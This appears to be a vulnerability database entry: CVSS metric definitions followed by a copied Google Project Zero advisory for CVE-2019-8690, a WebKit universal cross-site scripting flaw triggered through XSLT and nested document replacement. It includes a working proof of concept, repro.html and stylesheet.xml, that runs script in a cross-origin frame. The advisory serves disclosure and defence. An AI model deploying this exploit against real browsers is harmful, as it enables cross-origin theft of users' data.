The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: WebKit Universal Cross Site Scripting
WebKit: UXSS via XSLT and nested document replacements
Related CVE Numbers: CVE-2019-8690Id-714702681.
VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;
RefPtr<Document> result;
if (sourceMIMEType == \"text/plain\") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}
auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));
result->setContent(documentSource);
```
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_documentIsBeingReplaced) // ***1***
return;
m_documentIsBeingReplaced = true;
[...]
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***
m_doc = newDocument.copyRef();
```
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.
When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.
VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
pi = document.createProcessingInstruction('xml-stylesheet',
'type=\"text/xml\" href=\"stylesheet.xml\"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);
setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:\"\"';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }
child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();
doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));
doc.close();
}
}
victim_frame.src = 'javascript:\"\"';
if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>
```
stylesheet.xml:
```
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">
<xsl:template match=\"/\">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.
Found by: [email protected]